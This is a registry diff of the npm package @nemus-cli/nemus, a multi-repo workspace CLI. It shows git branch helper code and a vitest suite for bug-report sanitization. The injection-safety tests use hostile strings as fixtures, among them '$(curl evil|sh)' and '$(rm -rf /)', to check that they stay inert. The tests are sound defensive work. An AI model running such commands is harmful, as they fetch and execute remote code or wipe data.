@nemus-cli/nemus 0.2.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (320) hide show
  1. package/CHANGELOG.md +86 -0
  2. package/LICENSE +21 -0
  3. package/README.md +275 -0
  4. package/assets/README.md +53 -0
  5. package/assets/banner.png +0 -0
  6. package/assets/banner.svg +66 -0
  7. package/assets/favicon-32.png +0 -0
  8. package/assets/favicon-64.png +0 -0
  9. package/assets/icon-256.png +0 -0
  10. package/assets/icon.svg +23 -0
  11. package/assets/logo-256.png +0 -0
  12. package/assets/logo-512.png +0 -0
  13. package/assets/logo-wordmark.svg +35 -0
  14. package/assets/logo.svg +32 -0
  15. package/bin/workspace.js +130 -0
  16. package/dist/cli/ai-prompt.js +421 -0
  17. package/dist/cli/dashboard/AgentList.js +61 -0
  18. package/dist/cli/dashboard/DashboardSidebar.js +280 -0
  19. package/dist/cli/dashboard/HelpFooter.js +73 -0
  20. package/dist/cli/dashboard/StatusBadge.js +50 -0
  21. package/dist/cli/dashboard/index.js +11 -0
  22. package/dist/cli/dashboard/types.js +2 -0
  23. package/dist/cli/tui.js +48 -0
  24. package/dist/commands/ai-prompt.js +22 -0
  25. package/dist/commands/analyze-deps.js +138 -0
  26. package/dist/commands/archive.js +113 -0
  27. package/dist/commands/branch/create.js +119 -0
  28. package/dist/commands/branch/index.js +104 -0
  29. package/dist/commands/branch/merge.js +90 -0
  30. package/dist/commands/branch/rebase.js +84 -0
  31. package/dist/commands/branch/switch.js +165 -0
  32. package/dist/commands/cache/index.js +80 -0
  33. package/dist/commands/cache/manager.js +198 -0
  34. package/dist/commands/cleanup.js +153 -0
  35. package/dist/commands/configure-claude.js +55 -0
  36. package/dist/commands/configure.js +231 -0
  37. package/dist/commands/create.js +204 -0
  38. package/dist/commands/dashboard/hook-handler.js +162 -0
  39. package/dist/commands/dashboard/index.js +258 -0
  40. package/dist/commands/dashboard/launcher.js +40 -0
  41. package/dist/commands/dashboard/session-picker.js +106 -0
  42. package/dist/commands/dashboard/sidebar.js +39 -0
  43. package/dist/commands/dashboard/workspace-picker.js +95 -0
  44. package/dist/commands/delete.js +194 -0
  45. package/dist/commands/deprecated-aliases.js +44 -0
  46. package/dist/commands/diff.js +129 -0
  47. package/dist/commands/doctor.js +141 -0
  48. package/dist/commands/generate-docs.js +77 -0
  49. package/dist/commands/ghq-status.js +72 -0
  50. package/dist/commands/go.js +154 -0
  51. package/dist/commands/history.js +124 -0
  52. package/dist/commands/list.js +191 -0
  53. package/dist/commands/mcp/index.js +69 -0
  54. package/dist/commands/migrate.js +296 -0
  55. package/dist/commands/remove-repo.js +217 -0
  56. package/dist/commands/report-bug.js +112 -0
  57. package/dist/commands/run.js +147 -0
  58. package/dist/commands/save-context.js +171 -0
  59. package/dist/commands/sessions.js +129 -0
  60. package/dist/commands/status.js +138 -0
  61. package/dist/commands/suite/create.js +212 -0
  62. package/dist/commands/suite/delete.js +64 -0
  63. package/dist/commands/suite/export.js +126 -0
  64. package/dist/commands/suite/import.js +128 -0
  65. package/dist/commands/suite/index.js +94 -0
  66. package/dist/commands/suite/list.js +49 -0
  67. package/dist/commands/suite/use.js +227 -0
  68. package/dist/commands/sync.js +117 -0
  69. package/dist/commands/update.js +203 -0
  70. package/dist/mcp/install.js +550 -0
  71. package/dist/mcp/server.js +398 -0
  72. package/dist/mcp/tools.js +922 -0
  73. package/dist/pi-extensions/permission-sync.ts.template +41 -0
  74. package/dist/pi-extensions/permissions-gate.ts.template +69 -0
  75. package/dist/pi-extensions/pr-fix-trigger.ts.template +124 -0
  76. package/dist/pi-extensions/review-reminder.ts.template +58 -0
  77. package/dist/pi-extensions/workspace-input-status.ts.template +919 -0
  78. package/dist/program.js +136 -0
  79. package/dist/scripts/workspace-table.py +394 -0
  80. package/dist/types/dashboard.js +11 -0
  81. package/dist/types/index.js +2 -0
  82. package/dist/utils/agent-config.js +263 -0
  83. package/dist/utils/agent-state.js +178 -0
  84. package/dist/utils/banner.js +24 -0
  85. package/dist/utils/branch-operations.js +232 -0
  86. package/dist/utils/bug-report.js +355 -0
  87. package/dist/utils/cache.js +168 -0
  88. package/dist/utils/claude-integration.js +617 -0
  89. package/dist/utils/claude-sessions.js +260 -0
  90. package/dist/utils/cleanup-operations.js +120 -0
  91. package/dist/utils/colors.js +26 -0
  92. package/dist/utils/command-helpers.js +44 -0
  93. package/dist/utils/config.js +150 -0
  94. package/dist/utils/context-file.js +33 -0
  95. package/dist/utils/dashboard-hooks.js +172 -0
  96. package/dist/utils/dependency-analyzer.js +234 -0
  97. package/dist/utils/diff-operations.js +80 -0
  98. package/dist/utils/doc-generator.js +184 -0
  99. package/dist/utils/ghq-integration.js +332 -0
  100. package/dist/utils/git-operations.js +237 -0
  101. package/dist/utils/git-status.js +187 -0
  102. package/dist/utils/github.js +68 -0
  103. package/dist/utils/health-checks.js +345 -0
  104. package/dist/utils/history.js +150 -0
  105. package/dist/utils/hooks.js +100 -0
  106. package/dist/utils/logger.js +40 -0
  107. package/dist/utils/permission-sync.js +681 -0
  108. package/dist/utils/pi-extensions.js +224 -0
  109. package/dist/utils/progress.js +92 -0
  110. package/dist/utils/prompts.js +279 -0
  111. package/dist/utils/repo-resolver.js +260 -0
  112. package/dist/utils/retry.js +65 -0
  113. package/dist/utils/run-operations.js +30 -0
  114. package/dist/utils/suite.js +159 -0
  115. package/dist/utils/sync-operations.js +107 -0
  116. package/dist/utils/tmux-dashboard.js +184 -0
  117. package/dist/utils/validation.js +153 -0
  118. package/dist/utils/version-check.js +121 -0
  119. package/dist/utils/workspace-meta.js +185 -0
  120. package/install-shell-integration.sh +532 -0
  121. package/install.sh +401 -0
  122. package/package.json +90 -0
  123. package/remove-shell-block.awk +44 -0
  124. package/scripts/postinstall.js +85 -0
  125. package/skills/analyze-deps.md +23 -0
  126. package/skills/archive-workspace.md +26 -0
  127. package/skills/branch-create.md +18 -0
  128. package/skills/create-workspace.md +39 -0
  129. package/skills/delete-workspace.md +37 -0
  130. package/skills/list-org-repos.md +26 -0
  131. package/skills/list-suites.md +24 -0
  132. package/skills/list-workspaces.md +27 -0
  133. package/skills/refresh-workspace-docs.md +89 -0
  134. package/skills/remove-repo.md +25 -0
  135. package/skills/run-command.md +23 -0
  136. package/skills/save-context.md +68 -0
  137. package/skills/search-repos.md +31 -0
  138. package/skills/snapshot-list.md +18 -0
  139. package/skills/snapshot-save.md +12 -0
  140. package/skills/switch-branch.md +18 -0
  141. package/skills/update-cache.md +21 -0
  142. package/skills/update-workspace.md +66 -0
  143. package/skills/workspace-cleanup.md +18 -0
  144. package/skills/workspace-diff.md +23 -0
  145. package/skills/workspace-doctor.md +23 -0
  146. package/skills/workspace-info.md +45 -0
  147. package/skills/workspace-manager/SKILL.md +201 -0
  148. package/skills/workspace-manager/references/ai-prompt.md +44 -0
  149. package/skills/workspace-manager/references/analyze-deps.md +45 -0
  150. package/skills/workspace-manager/references/archive-workspace.md +38 -0
  151. package/skills/workspace-manager/references/branch-create.md +31 -0
  152. package/skills/workspace-manager/references/branch-merge.md +22 -0
  153. package/skills/workspace-manager/references/branch-rebase.md +22 -0
  154. package/skills/workspace-manager/references/cache-clear.md +18 -0
  155. package/skills/workspace-manager/references/cache-info.md +22 -0
  156. package/skills/workspace-manager/references/configure-claude.md +31 -0
  157. package/skills/workspace-manager/references/configure.md +35 -0
  158. package/skills/workspace-manager/references/create-workspace.md +45 -0
  159. package/skills/workspace-manager/references/dashboard.md +61 -0
  160. package/skills/workspace-manager/references/delete-workspace.md +33 -0
  161. package/skills/workspace-manager/references/generate-docs.md +36 -0
  162. package/skills/workspace-manager/references/ghq-status.md +28 -0
  163. package/skills/workspace-manager/references/go.md +33 -0
  164. package/skills/workspace-manager/references/history.md +41 -0
  165. package/skills/workspace-manager/references/list-org-repos.md +26 -0
  166. package/skills/workspace-manager/references/list-suites.md +21 -0
  167. package/skills/workspace-manager/references/list-workspaces.md +27 -0
  168. package/skills/workspace-manager/references/mcp.md +49 -0
  169. package/skills/workspace-manager/references/remove-repo.md +26 -0
  170. package/skills/workspace-manager/references/run-command.md +44 -0
  171. package/skills/workspace-manager/references/search-repos.md +24 -0
  172. package/skills/workspace-manager/references/sessions.md +27 -0
  173. package/skills/workspace-manager/references/suite-create.md +22 -0
  174. package/skills/workspace-manager/references/suite-delete.md +21 -0
  175. package/skills/workspace-manager/references/suite-export.md +19 -0
  176. package/skills/workspace-manager/references/suite-import.md +19 -0
  177. package/skills/workspace-manager/references/suite-use.md +27 -0
  178. package/skills/workspace-manager/references/switch-branch.md +25 -0
  179. package/skills/workspace-manager/references/update-cache.md +22 -0
  180. package/skills/workspace-manager/references/update-workspace.md +50 -0
  181. package/skills/workspace-manager/references/workspace-cleanup.md +33 -0
  182. package/skills/workspace-manager/references/workspace-diff.md +27 -0
  183. package/skills/workspace-manager/references/workspace-doctor.md +27 -0
  184. package/skills/workspace-manager/references/workspace-info.md +33 -0
  185. package/skills/workspace-manager/references/workspace-status.md +43 -0
  186. package/skills/workspace-manager/references/workspace-sync.md +26 -0
  187. package/skills/workspace-status.md +26 -0
  188. package/skills/workspace-sync.md +23 -0
  189. package/src/cli/ai-prompt.test.ts +667 -0
  190. package/src/cli/ai-prompt.ts +421 -0
  191. package/src/cli/dashboard/AgentList.tsx +44 -0
  192. package/src/cli/dashboard/DashboardSidebar.tsx +291 -0
  193. package/src/cli/dashboard/HelpFooter.tsx +22 -0
  194. package/src/cli/dashboard/StatusBadge.tsx +23 -0
  195. package/src/cli/dashboard/index.ts +5 -0
  196. package/src/cli/dashboard/types.ts +16 -0
  197. package/src/cli/tui.tsx +51 -0
  198. package/src/cli/workspace-cli.test.ts +30 -0
  199. package/src/commands/ai-prompt.ts +21 -0
  200. package/src/commands/analyze-deps.ts +119 -0
  201. package/src/commands/archive.ts +114 -0
  202. package/src/commands/branch/create.ts +94 -0
  203. package/src/commands/branch/index.ts +74 -0
  204. package/src/commands/branch/merge.ts +61 -0
  205. package/src/commands/branch/rebase.ts +54 -0
  206. package/src/commands/branch/switch.ts +150 -0
  207. package/src/commands/cache/index.ts +51 -0
  208. package/src/commands/cache/manager.ts +168 -0
  209. package/src/commands/cleanup.ts +132 -0
  210. package/src/commands/configure-claude.ts +55 -0
  211. package/src/commands/configure.ts +204 -0
  212. package/src/commands/create.ts +196 -0
  213. package/src/commands/dashboard/hook-handler.ts +138 -0
  214. package/src/commands/dashboard/index.ts +248 -0
  215. package/src/commands/dashboard/launcher.ts +42 -0
  216. package/src/commands/dashboard/session-picker.ts +73 -0
  217. package/src/commands/dashboard/sidebar.js +39 -0
  218. package/src/commands/dashboard/workspace-picker.ts +62 -0
  219. package/src/commands/delete.test.ts +250 -0
  220. package/src/commands/delete.ts +171 -0
  221. package/src/commands/deprecated-aliases.ts +55 -0
  222. package/src/commands/diff.ts +106 -0
  223. package/src/commands/doctor.ts +110 -0
  224. package/src/commands/generate-docs.ts +45 -0
  225. package/src/commands/ghq-status.ts +70 -0
  226. package/src/commands/go.ts +125 -0
  227. package/src/commands/history.ts +136 -0
  228. package/src/commands/list.test.ts +219 -0
  229. package/src/commands/list.ts +176 -0
  230. package/src/commands/mcp/index.ts +39 -0
  231. package/src/commands/migrate.ts +277 -0
  232. package/src/commands/remove-repo.ts +194 -0
  233. package/src/commands/report-bug.ts +88 -0
  234. package/src/commands/run.ts +125 -0
  235. package/src/commands/save-context.test.ts +113 -0
  236. package/src/commands/save-context.ts +141 -0
  237. package/src/commands/sessions.ts +99 -0
  238. package/src/commands/status.ts +111 -0
  239. package/src/commands/suite/create.ts +240 -0
  240. package/src/commands/suite/delete.ts +65 -0
  241. package/src/commands/suite/export.ts +97 -0
  242. package/src/commands/suite/import.ts +100 -0
  243. package/src/commands/suite/index.ts +66 -0
  244. package/src/commands/suite/list.ts +54 -0
  245. package/src/commands/suite/use.ts +232 -0
  246. package/src/commands/sync.ts +97 -0
  247. package/src/commands/update.ts +197 -0
  248. package/src/mcp/install.ts +529 -0
  249. package/src/mcp/server.ts +579 -0
  250. package/src/mcp/tools.test.ts +545 -0
  251. package/src/mcp/tools.ts +1019 -0
  252. package/src/mcp/update-workspace.test.ts +220 -0
  253. package/src/pi-extensions/permission-sync.ts.template +41 -0
  254. package/src/pi-extensions/permissions-gate.ts.template +69 -0
  255. package/src/pi-extensions/pr-fix-trigger.ts.template +124 -0
  256. package/src/pi-extensions/review-reminder.ts.template +58 -0
  257. package/src/pi-extensions/workspace-input-status.ts.template +919 -0
  258. package/src/program.ts +112 -0
  259. package/src/scripts/workspace-table.py +394 -0
  260. package/src/types/dashboard.ts +29 -0
  261. package/src/types/index.ts +109 -0
  262. package/src/types/ink.d.ts +171 -0
  263. package/src/utils/agent-config.test.ts +303 -0
  264. package/src/utils/agent-config.ts +264 -0
  265. package/src/utils/agent-state.test.ts +166 -0
  266. package/src/utils/agent-state.ts +135 -0
  267. package/src/utils/banner.ts +24 -0
  268. package/src/utils/branch-operations.ts +237 -0
  269. package/src/utils/bug-report.test.ts +174 -0
  270. package/src/utils/bug-report.ts +355 -0
  271. package/src/utils/cache.ts +150 -0
  272. package/src/utils/claude-integration.test.ts +381 -0
  273. package/src/utils/claude-integration.ts +649 -0
  274. package/src/utils/claude-sessions.test.ts +262 -0
  275. package/src/utils/claude-sessions.ts +251 -0
  276. package/src/utils/cleanup-operations.ts +94 -0
  277. package/src/utils/colors.ts +25 -0
  278. package/src/utils/command-helpers.ts +46 -0
  279. package/src/utils/config.test.ts +203 -0
  280. package/src/utils/config.ts +133 -0
  281. package/src/utils/context-file.ts +36 -0
  282. package/src/utils/dashboard-hooks.test.ts +168 -0
  283. package/src/utils/dashboard-hooks.ts +163 -0
  284. package/src/utils/dependency-analyzer.ts +243 -0
  285. package/src/utils/diff-operations.ts +59 -0
  286. package/src/utils/doc-generator.ts +187 -0
  287. package/src/utils/ghq-integration.test.ts +195 -0
  288. package/src/utils/ghq-integration.ts +317 -0
  289. package/src/utils/git-operations.test.ts +265 -0
  290. package/src/utils/git-operations.ts +233 -0
  291. package/src/utils/git-status.ts +171 -0
  292. package/src/utils/github.ts +74 -0
  293. package/src/utils/health-checks.ts +359 -0
  294. package/src/utils/history.ts +140 -0
  295. package/src/utils/hooks.ts +92 -0
  296. package/src/utils/logger.ts +37 -0
  297. package/src/utils/permission-sync.test.ts +593 -0
  298. package/src/utils/permission-sync.ts +720 -0
  299. package/src/utils/pi-extensions.test.ts +182 -0
  300. package/src/utils/pi-extensions.ts +226 -0
  301. package/src/utils/progress.ts +73 -0
  302. package/src/utils/prompts.test.ts +169 -0
  303. package/src/utils/prompts.ts +296 -0
  304. package/src/utils/repo-resolver.test.ts +313 -0
  305. package/src/utils/repo-resolver.ts +294 -0
  306. package/src/utils/retry.test.ts +124 -0
  307. package/src/utils/retry.ts +85 -0
  308. package/src/utils/run-operations.ts +38 -0
  309. package/src/utils/suite.test.ts +256 -0
  310. package/src/utils/suite.ts +144 -0
  311. package/src/utils/sync-operations.ts +87 -0
  312. package/src/utils/tmux-dashboard.ts +193 -0
  313. package/src/utils/validation.test.ts +139 -0
  314. package/src/utils/validation.ts +128 -0
  315. package/src/utils/version-check.test.ts +108 -0
  316. package/src/utils/version-check.ts +96 -0
  317. package/src/utils/workspace-meta.ts +173 -0
  318. package/sync-permissions.sh +137 -0
  319. package/tsconfig.json +20 -0
  320. package/uninstall.sh +162 -0
@@ -0,0 +1,237 @@
1
+ import { exec } from 'child_process';
2
+ import { promisify } from 'util';
3
+ import * as fs from 'fs/promises';
4
+ import * as path from 'path';
5
+ import { hasUncommittedChanges } from './git-status';
6
+
7
+ const execAsync = promisify(exec);
8
+ const GIT_TIMEOUT = 30000;
9
+
10
+ export interface BranchSwitchResult {
11
+ repo: string;
12
+ status: 'success' | 'failed' | 'skipped';
13
+ message?: string;
14
+ previousBranch?: string;
15
+ newBranch?: string;
16
+ }
17
+
18
+ export const switchBranch = async (
19
+ repoPath: string,
20
+ repoName: string,
21
+ targetBranch: string
22
+ ): Promise<BranchSwitchResult> => {
23
+ try {
24
+ // Check if directory exists
25
+ try {
26
+ await fs.access(repoPath);
27
+ } catch {
28
+ return {
29
+ repo: repoName,
30
+ status: 'skipped',
31
+ message: 'Directory not found',
32
+ };
33
+ }
34
+
35
+ // Check if it's a git repository
36
+ try {
37
+ await execAsync('git rev-parse --git-dir', { cwd: repoPath });
38
+ } catch {
39
+ return {
40
+ repo: repoName,
41
+ status: 'skipped',
42
+ message: 'Not a git repository',
43
+ };
44
+ }
45
+
46
+ // Get current branch
47
+ const { stdout: currentBranchOutput } = await execAsync('git branch --show-current', { cwd: repoPath });
48
+ const currentBranch = currentBranchOutput.trim();
49
+
50
+ if (currentBranch === targetBranch) {
51
+ return {
52
+ repo: repoName,
53
+ status: 'skipped',
54
+ message: 'Already on target branch',
55
+ previousBranch: currentBranch,
56
+ };
57
+ }
58
+
59
+ // Check for uncommitted changes
60
+ const { stdout: statusOutput } = await execAsync('git status --porcelain', { cwd: repoPath });
61
+ if (statusOutput.trim().length > 0) {
62
+ return {
63
+ repo: repoName,
64
+ status: 'skipped',
65
+ message: 'Uncommitted changes',
66
+ previousBranch: currentBranch,
67
+ };
68
+ }
69
+
70
+ // Fetch to ensure we have latest branches
71
+ await execAsync('git fetch', { cwd: repoPath, timeout: GIT_TIMEOUT });
72
+
73
+ // Check if branch exists locally
74
+ try {
75
+ await execAsync(`git rev-parse --verify ${targetBranch}`, { cwd: repoPath });
76
+ } catch {
77
+ // Branch doesn't exist locally, check remote
78
+ try {
79
+ await execAsync(`git rev-parse --verify origin/${targetBranch}`, { cwd: repoPath });
80
+ // Branch exists on remote, create local tracking branch
81
+ await execAsync(`git checkout -b ${targetBranch} origin/${targetBranch}`, { cwd: repoPath });
82
+ return {
83
+ repo: repoName,
84
+ status: 'success',
85
+ previousBranch: currentBranch,
86
+ newBranch: targetBranch,
87
+ };
88
+ } catch {
89
+ return {
90
+ repo: repoName,
91
+ status: 'failed',
92
+ message: `Branch ${targetBranch} not found`,
93
+ previousBranch: currentBranch,
94
+ };
95
+ }
96
+ }
97
+
98
+ // Switch to existing local branch
99
+ await execAsync(`git checkout ${targetBranch}`, { cwd: repoPath });
100
+
101
+ return {
102
+ repo: repoName,
103
+ status: 'success',
104
+ previousBranch: currentBranch,
105
+ newBranch: targetBranch,
106
+ };
107
+ } catch (error) {
108
+ const errorMessage = error instanceof Error ? error.message : 'Unknown error';
109
+ return {
110
+ repo: repoName,
111
+ status: 'failed',
112
+ message: errorMessage,
113
+ };
114
+ }
115
+ };
116
+
117
+ export interface BranchOperationResult {
118
+ repo: string;
119
+ success: boolean;
120
+ message: string;
121
+ error?: string;
122
+ }
123
+
124
+ export const createBranch = async (
125
+ repoPath: string,
126
+ repoName: string,
127
+ branchName: string,
128
+ baseBranch?: string,
129
+ force?: boolean
130
+ ): Promise<BranchOperationResult> => {
131
+ try {
132
+ // Check for uncommitted changes
133
+ if (!force) {
134
+ const hasChanges = await hasUncommittedChanges(repoPath);
135
+ if (hasChanges) {
136
+ return {
137
+ repo: repoName,
138
+ success: false,
139
+ message: 'Skipped (uncommitted changes)',
140
+ };
141
+ }
142
+ }
143
+
144
+ // Checkout base branch if specified
145
+ if (baseBranch) {
146
+ await execAsync(`git checkout ${baseBranch}`, {
147
+ cwd: repoPath,
148
+ timeout: GIT_TIMEOUT,
149
+ });
150
+ }
151
+
152
+ // Create and checkout new branch
153
+ await execAsync(`git checkout -b ${branchName}`, {
154
+ cwd: repoPath,
155
+ timeout: GIT_TIMEOUT,
156
+ });
157
+
158
+ return {
159
+ repo: repoName,
160
+ success: true,
161
+ message: `Created branch ${branchName}`,
162
+ };
163
+ } catch (error) {
164
+ return {
165
+ repo: repoName,
166
+ success: false,
167
+ message: 'Failed',
168
+ error: error instanceof Error ? error.message : 'Unknown error',
169
+ };
170
+ }
171
+ };
172
+
173
+ export const mergeBranch = async (
174
+ repoPath: string,
175
+ repoName: string,
176
+ sourceBranch: string,
177
+ targetBranch: string,
178
+ options?: { noFf?: boolean; ffOnly?: boolean; squash?: boolean }
179
+ ): Promise<BranchOperationResult> => {
180
+ try {
181
+ // Checkout target branch
182
+ await execAsync(`git checkout ${targetBranch}`, {
183
+ cwd: repoPath,
184
+ timeout: GIT_TIMEOUT,
185
+ });
186
+
187
+ // Build merge command
188
+ let mergeCmd = `git merge ${sourceBranch}`;
189
+ if (options?.noFf) mergeCmd += ' --no-ff';
190
+ if (options?.ffOnly) mergeCmd += ' --ff-only';
191
+ if (options?.squash) mergeCmd += ' --squash';
192
+
193
+ await execAsync(mergeCmd, {
194
+ cwd: repoPath,
195
+ timeout: GIT_TIMEOUT,
196
+ });
197
+
198
+ return {
199
+ repo: repoName,
200
+ success: true,
201
+ message: `Merged ${sourceBranch} into ${targetBranch}`,
202
+ };
203
+ } catch (error) {
204
+ return {
205
+ repo: repoName,
206
+ success: false,
207
+ message: 'Merge failed',
208
+ error: error instanceof Error ? error.message : 'Unknown error',
209
+ };
210
+ }
211
+ };
212
+
213
+ export const rebaseBranch = async (
214
+ repoPath: string,
215
+ repoName: string,
216
+ targetBranch: string
217
+ ): Promise<BranchOperationResult> => {
218
+ try {
219
+ await execAsync(`git rebase ${targetBranch}`, {
220
+ cwd: repoPath,
221
+ timeout: GIT_TIMEOUT,
222
+ });
223
+
224
+ return {
225
+ repo: repoName,
226
+ success: true,
227
+ message: `Rebased onto ${targetBranch}`,
228
+ };
229
+ } catch (error) {
230
+ return {
231
+ repo: repoName,
232
+ success: false,
233
+ message: 'Rebase failed',
234
+ error: error instanceof Error ? error.message : 'Unknown error',
235
+ };
236
+ }
237
+ };
@@ -0,0 +1,174 @@
1
+ import { describe, it, expect } from 'vitest';
2
+ import * as os from 'os';
3
+ import {
4
+ sanitize,
5
+ errorSignature,
6
+ looksEnvironmental,
7
+ buildIssueTitle,
8
+ buildIssueBody,
9
+ buildIssueCreateArgs,
10
+ buildIssueListArgs,
11
+ gatherEnv,
12
+ type CapturedError,
13
+ } from './bug-report';
14
+
15
+ describe('sanitize', () => {
16
+ it('replaces the home directory with ~', () => {
17
+ const home = os.homedir();
18
+ const input = `Error at ${home}/Work/repo/file.ts`;
19
+ expect(sanitize(input)).toBe('Error at ~/Work/repo/file.ts');
20
+ });
21
+
22
+ it('redacts /Users/<name>/ paths for other users', () => {
23
+ const out = sanitize('bash: /Users/shay.tidhar@acme.com/.volta/tmp/x.sh: not found');
24
+ expect(out).not.toContain('shay.tidhar');
25
+ expect(out).toContain('/Users/<user>');
26
+ });
27
+
28
+ it('redacts email addresses', () => {
29
+ expect(sanitize('contact john.doe@example.com now')).toBe('contact <email> now');
30
+ });
31
+
32
+ it('redacts GitHub tokens', () => {
33
+ expect(sanitize('token ghp_ABCDEFGHIJKLMNOPQRSTUVWXYZ012345')).toContain('<redacted>');
34
+ expect(sanitize('token ghp_ABCDEFGHIJKLMNOPQRSTUVWXYZ012345')).not.toContain('ghp_ABCDEF');
35
+ });
36
+
37
+ it('redacts long mixed token-like strings', () => {
38
+ const out = sanitize('key=aB3dE5fG7hJ9kL1mN3pQ5rS7tU9vW1xY3z');
39
+ expect(out).toContain('<redacted>');
40
+ });
41
+
42
+ it('leaves normal text untouched', () => {
43
+ expect(sanitize('Repositories not found: partnerships-api')).toBe('Repositories not found: partnerships-api');
44
+ });
45
+ });
46
+
47
+ describe('errorSignature', () => {
48
+ it('is stable across varying line numbers and counts', () => {
49
+ const a = errorSignature('Failed at line 42, 3 repos', 'at foo (/x/y.ts:10:5)');
50
+ const b = errorSignature('Failed at line 99, 7 repos', 'at foo (/x/y.ts:88:2)');
51
+ expect(a).toBe(b);
52
+ });
53
+
54
+ it('differs for genuinely different errors', () => {
55
+ const a = errorSignature('Could not clone repo', undefined);
56
+ const b = errorSignature('Permission denied', undefined);
57
+ expect(a).not.toBe(b);
58
+ });
59
+
60
+ it('is a short hex string', () => {
61
+ expect(errorSignature('x', undefined)).toMatch(/^[0-9a-f]{12}$/);
62
+ });
63
+
64
+ it('ignores user-specific paths in the signature (sanitized first)', () => {
65
+ const home = os.homedir();
66
+ const a = errorSignature(`boom ${home}/a`, undefined);
67
+ const b = errorSignature('boom ~/a', undefined);
68
+ expect(a).toBe(b);
69
+ });
70
+ });
71
+
72
+ describe('looksEnvironmental', () => {
73
+ it('flags network/auth/credential errors', () => {
74
+ for (const m of [
75
+ 'spawnSync pi ETIMEDOUT',
76
+ 'getaddrinfo ENOTFOUND github.com',
77
+ 'gh auth: not authenticated',
78
+ 'AWS SSO token expired',
79
+ 'bash: claude: command not found',
80
+ 'No such file or directory',
81
+ ]) {
82
+ expect(looksEnvironmental(m)).toBe(true);
83
+ }
84
+ });
85
+
86
+ it('does NOT flag genuine code errors', () => {
87
+ for (const m of [
88
+ 'Cannot read properties of undefined (reading foo)',
89
+ 'TypeError: x is not a function',
90
+ 'Repositories not found: partnerships-api',
91
+ ]) {
92
+ expect(looksEnvironmental(m)).toBe(false);
93
+ }
94
+ });
95
+ });
96
+
97
+ describe('buildIssueTitle / buildIssueBody', () => {
98
+ const err: CapturedError = {
99
+ command: `nemus update --workspace ${os.homedir()}/x`,
100
+ message: 'TypeError: cannot read foo of undefined',
101
+ stack: `TypeError: cannot read foo\n at run (${os.homedir()}/.local/pi/x.ts:10:3)`,
102
+ timestamp: '2026-01-01T00:00:00.000Z',
103
+ version: '4.14.5',
104
+ };
105
+
106
+ it('title includes a signature and is prefixed [auto]', () => {
107
+ const title = buildIssueTitle(err);
108
+ expect(title).toMatch(/^\[auto\] /);
109
+ expect(title).toMatch(/\([0-9a-f]{12}\)$/);
110
+ });
111
+
112
+ it('body is fully sanitized (no home dir leak)', () => {
113
+ const body = buildIssueBody(err, gatherEnv('4.14.5'));
114
+ expect(body).not.toContain(os.homedir());
115
+ expect(body).toContain('~/');
116
+ expect(body).toContain('Signature:');
117
+ expect(body).toContain('4.14.5');
118
+ expect(body).toContain('### Stack');
119
+ });
120
+ });
121
+
122
+ describe('command-injection safety (argv, no shell)', () => {
123
+ it('passes a malicious title/body as inert single argv elements', () => {
124
+ const title = 'boom $(touch /tmp/pwned) `id`';
125
+ const body = 'stack with ${HOME} and $(curl evil|sh) and `whoami`';
126
+ const args = buildIssueCreateArgs(title, body);
127
+
128
+ // title and body must each be exactly ONE argv element, verbatim —
129
+ // never split or interpolated. execFileSync passes argv without a shell.
130
+ const ti = args.indexOf('--title');
131
+ const bi = args.indexOf('--body');
132
+ expect(ti).toBeGreaterThanOrEqual(0);
133
+ expect(bi).toBeGreaterThanOrEqual(0);
134
+ expect(args[ti + 1]).toBe(title);
135
+ expect(args[bi + 1]).toBe(body);
136
+
137
+ // No argv element is a shell invocation.
138
+ expect(args).not.toContain('-c');
139
+ expect(args.some((a) => a === 'sh' || a === 'bash' || a === '/bin/sh')).toBe(false);
140
+ });
141
+
142
+ it('issue-list argv contains no free-text search of untrusted input', () => {
143
+ const args = buildIssueListArgs();
144
+ // Dedup is client-side now; we must not pass --search with attacker text.
145
+ expect(args).not.toContain('--search');
146
+ expect(args).toContain('--label');
147
+ expect(args).toContain('--json');
148
+ });
149
+ });
150
+
151
+ describe('sanitize — shell metacharacter neutralization (defense in depth)', () => {
152
+ it('neutralizes command substitution and backticks', () => {
153
+ const out = sanitize('run $(rm -rf /) and `id` and ${PATH}');
154
+ expect(out).not.toMatch(/\$\(/); // $( broken up
155
+ expect(out).not.toContain('`'); // backtick replaced
156
+ expect(out).not.toMatch(/\$\{/); // ${ broken up
157
+ });
158
+ });
159
+
160
+ describe('sanitize / errorSignature — defensive against bad input', () => {
161
+ it('sanitize tolerates non-string input', () => {
162
+ // @ts-expect-error intentional bad input
163
+ expect(sanitize(undefined)).toBe('');
164
+ // @ts-expect-error intentional bad input
165
+ expect(sanitize(null)).toBe('');
166
+ });
167
+
168
+ it('errorSignature tolerates empty/missing message', () => {
169
+ expect(() => errorSignature('', undefined)).not.toThrow();
170
+ // @ts-expect-error intentional bad input
171
+ expect(() => errorSignature(undefined, undefined)).not.toThrow();
172
+ expect(errorSignature('', undefined)).toMatch(/^[0-9a-f]{12}$/);
173
+ });
174
+ });